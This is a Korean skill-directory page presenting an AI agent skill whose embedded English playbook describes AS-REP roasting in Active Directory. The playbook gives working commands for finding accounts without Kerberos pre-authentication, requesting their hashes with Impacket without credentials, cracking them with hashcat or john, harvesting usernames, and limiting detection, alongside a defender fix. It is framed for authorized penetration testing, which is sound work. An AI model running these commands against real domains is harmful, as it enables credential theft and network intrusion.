asrep-roasting
하는 일
이 스킬은 도메인에서 사전 인증이 필요 없는 사용자 계정을 찾고, 이를 오프라인으로 테스트하는 방법을 설명합니다. Windows 도메인을 감사할 권한이 있는 보안 담당자를 위한 것입니다.
사용하는 경우
- ✓보안 테스터가 Kerberos 사전 인증이 필요 없는 도메인 계정을 찾고 싶을 때.
- ✓도메인 컨트롤러가 그 계정들에 대한 로그인 데이터를 반환하는지 에이전트가 확인해야 할 때.
- ✓보고서가 그런 계정의 약한 비밀번호 위험을 설명해야 할 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“승인된 테스트 도메인에서 Kerberos 사전 인증이 필요 없는 계정이 있는지 찾아 주실 수 있나요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 디렉터리 쿼리나 보안 그래프를 사용해 해당 계정을 찾고, 요청 도구를 실행한 뒤, 오프라인 확인을 위해 돌아온 내용을 기록합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
AS-REP Roasting Playbook
Prerequisite
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
1. Identify vulnerable users
In a hosted engagement, inspect the authorized collection through
bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a
bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not
expose the required account flag. Confirm collection coverage first. In
standalone OSS, use the registered bhce_cypher tool against that instance.
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
2. Request AS-REP
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
3. Crack offline (hashcat mode 18200)
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
- Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
- Test / dev accounts with weak passwords
- Accounts created from a misconfigured PowerShell script
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
4. Userlist sources when zero-auth
Without LDAP, your userlist comes from:
kerbrute userenumagainst common lists (jsmith.txt, statistically-common-usernames)- LinkedIn scrape → format conversion (
firstname.lastname,flastname) - Github commit emails from company orgs
- Email leaks (HIBP, Dehashed if op-authorized)
- Subdomain enumeration → username patterns in metadata
5. Promote
kg_add_node(kind="credential", label="USER:CRACKED_PW",
props={"source":"asrep-roast","preauth":"disabled"})
OPSEC
- AS-REQ without pre-auth is event 4768 on the DC
- Defender's tell: 4768 with
Pre-Authentication Type=0(no preauth) - Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
- A single AS-REP request per known user is quieter than enumeration
CVSS
- Multiple roastable + crackable:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H= 10.0 (PR:N because no creds needed) - One roastable, uncrackable: Informational + fix recommendation
Defender fix
Remove DONT_REQ_PREAUTH flag:
Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false
Audit policy: UserAccountControl & 0x400000 should be zero on all real users.
자주 묻는 질문
이 스킬은 도메인 로그인이 필요한가요?
유효한 계정 없이도 작동할 수 있다고 스킬이 말하며, 로그인한 테스트가 더 신뢰할 수 있다고도 언급합니다.
계정을 찾기 위해 무엇에 의존하나요?
디렉터리 쿼리나 가이드에 설명된 BloodHound 분석 도구에 의존합니다.
어떤 네트워크에서든 안전한가요?
아니요. 소유자가 테스트를 허락한 네트워크에서만 쓸 수 있습니다.
상세 정보
작성자의 원본 설명
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13936
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.